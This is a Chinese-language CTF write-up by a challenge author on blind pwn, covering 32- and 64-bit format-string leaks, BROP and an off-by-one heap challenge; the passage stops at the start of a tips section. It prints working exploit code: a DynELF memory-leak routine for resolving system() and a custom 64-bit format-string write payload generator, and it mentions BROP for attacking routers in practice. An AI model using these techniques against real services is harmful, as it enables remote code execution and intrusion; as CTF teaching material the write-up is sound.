blind-pwn总结+创新
前言
blind-pwn是一种黑盒pwn的模式,也就是比赛的时候不给你提供二进制文件,让你实现dump文件或者不dump文件泄露部分信息的目的...
其实16年就已经有比较多的blind-pwn的赛题以及文章分析了,作为第二届安洵杯出题人,发现blind-pwn没有什么合适的堆区利用黑盒pwn,所以在这个基础上做一个总结以及创新.
所有代码/文件都会标注出文件名,同时附件里面也有对于每道题更加详细的wp,附件下载即可
fmt32
目录为fmt32
格式化字符串漏洞,是最经典的blind pwn.它通过格式化字符串漏洞,泄露内存中的地址.
这里有两种做法,有的做法具有局限性,有的是通用的,但是很耗时间
第一种做法:
- 测试程序正常功能
- 找到格式化字符串漏洞
- 确定偏移--offset-step1.py
- dump文件--dump-step2.py,pwn1bin
- 利用got表地址,泄露出libc
- getshell--bin.exp.py
在确定偏移的过程中,需要小心一个问题
就是计算偏移的时候,存在一个问题就是,我们要保证偏移量足够,就一定要前面增加一个字节的垃圾数据
dump下来的程序是没法运行(没有SHT,dump下来的时候是通过EOF来进行判断结尾的,但是SHT的偏移是0x18dc但是程序运行的时候,是不会把这些数据载入到地址上的)
丢进ida中,还是可以直接当成一个二进制文件进行分析的,而64位不可...后面会有64位的打开方法
第二种做法:--dyn.exp.py
思路不变,但是不dump程序,用dynelf机制进行泄露system地址,getshell
这里有个局限性就是,需要能够有不断开连接,循环泄露内存的条件,但是其实在黑盒pwn的实战中,一般都是存在断开连接,地址复用(一些主流web框架会有),所以利用DYNELF并不常用,但是针对于这道题目来说,确实最合适,最快的解题方案
核心代码如下
def leak(addr):
result = ''
while(len(result)< 4):
sh.sendafter('Please tell me:', '%16$s#\n\0'.ljust(0x21, '\0') +p32(addr + len(result)) + '\0')
sh.recvuntil('Repeater:')
result +=sh.recvuntil('#\n', drop=True) + '\0'
log.info(hex(addr) + ' => ' + hex(u32(result[:4])))
return result[:4]
libc = DynELF(leak, 0x8048000)
libc_addr = u32(leak(0x804a010)) - 0xd4350
log.success('libc_addr: ' + hex(libc_addr))
system_addr = libc.lookup('system', 'libc')
log.success('system_addr: ' + hex(system_addr))
fmt64
目录为fmt64
64位其实和32位的区别并不大,思路也是同样的
- 测试程序正常功能
- 找到格式化字符串漏洞
- 确定偏移--offset-step1.py
- dump文件--64dump.py,stilltestbin
- 利用got表地址,泄露出libc
- getshell--64bin.exp.py
第一个问题,dump下来的文件ida是无法直接分析
载入的时候需要设置一下...
同时第二个问题需要注意的是
64位的格式化字符串,是无法避免出现\x00的情况的,scanf,printf都默认认为\x00是字符串结尾,所以这里我根据pwntools的源码,进行了修改,自创了一个函数,用来反序覆盖地址
def antitone_fmt_payload(offset, writes, numbwritten=0, write_size='byte'):
config = {
32 : {
'byte': (4, 1, 0xFF, 'hh', 8),
'short': (2, 2, 0xFFFF, 'h', 16),
'int': (1, 4, 0xFFFFFFFF, '', 32)},
64 : {
'byte': (8, 1, 0xFF, 'hh', 8),
'short': (4, 2, 0xFFFF, 'h', 16),
'int': (2, 4, 0xFFFFFFFF, '', 32)
}
}
if write_size not in ['byte', 'short', 'int']:
log.error("write_size must be 'byte', 'short' or 'int'")
number, step, mask, formatz, decalage = config[context.bits][write_size]
payload = ""
payload_last = ""
for where,what in writes.items():
for i in range(0,number*step,step):
payload_last += pack(where+i)
fmtCount = 0
payload_forward = ""
key_toadd = []
key_offset_fmtCount = []
for where,what in writes.items():
for i in range(0,number):
current = what & mask
if numbwritten & mask <= current:
to_add = current - (numbwritten & mask)
else:
to_add = (current | (mask+1)) - (numbwritten & mask)
if to_add != 0:
key_toadd.append(to_add)
payload_forward += "%{}c".format(to_add)
else:
key_toadd.append(to_add)
payload_forward += "%{}${}n".format(offset + fmtCount, formatz)
key_offset_fmtCount.append(offset + fmtCount)
#key_formatz.append(formatz)
numbwritten += to_add
what >>= decalage
fmtCount += 1
len1 = len(payload_forward)
key_temp = []
for i in range(len(key_offset_fmtCount)):
key_temp.append(key_offset_fmtCount[i])
x_add = 0
y_add = 0
while True:
x_add = len1 / 8 + 1
y_add = 8 - (len1 % 8)
for i in range(len(key_temp)):
key_temp[i] = key_offset_fmtCount[i] + x_add
payload_temp = ""
for i in range(0,number):
if key_toadd[i] != 0:
payload_temp += "%{}c".format(key_toadd[i])
payload_temp += "%{}${}n".format(key_temp[i], formatz)
len2 = len(payload_temp)
xchange = y_add - (len2 - len1)
if xchange >= 0:
payload = payload_temp + xchange*'a' + payload_last
return payload;
else:
len1 = len2
这样子,大家比赛的时候,遇到64位的格式化字符串就可以轻松的,调用函数,直接一键生成payload了...嘿嘿
brop
文件目录为brop
brop是利用rop不断循环的爆破出地址,条件就是要求可以不停的重连,这个比较常见,但是如果说搭建pwn题环境的时候,就需要配置一下系统设置
brop这类题目,不是特别适合在比赛中,因为特别浪费时间,适合为在实战中路由器的黑盒拿到路由器终端作为一种新的思路
思路主要是这样子
- 暴力破解-获取偏移--stack_overflow_length.py
- 获取stop_gadget--main函数地址--stop_gadget.py
- 获取brop_gadget--libc_csu_init--brop_gadget.py
- 获取puts_plt--puts_plt.py
- dump文件--leak_dump.py,code
- getshell--exp.py
那么在这个过程一定要记住一个核心的东西,就是爆破的过程中,容易出现某些地址符合条件,但是却不符合其它条件的情况,所以该题比较浪费时间
举个例子:
这里会发现一个问题,我们的puts_plt = 0x400635 在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际查看dump下来的文件的时候,我们会发现这个
很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的
创新题-堆区利用offbyone-blindpwn
文件目录为offbyone
发现网上没有这一类的题目,所以自创了一道,也算是抛砖引玉,并且安洵杯决赛打的效果还比较好,希望,自己能再研究出一些新blindpwn题
题目分析
首先测试程序的基本功能,分析结构,尝试dump内存
首先是要了解过off by one这种漏洞原理,我们发现,读取字符串的函数是scanf
我们要知道scanf的问题是什么?是它会在输入的字符串最后加\x00,所以在这里,我们出现了单字节溢出的问题
盲打小贴士: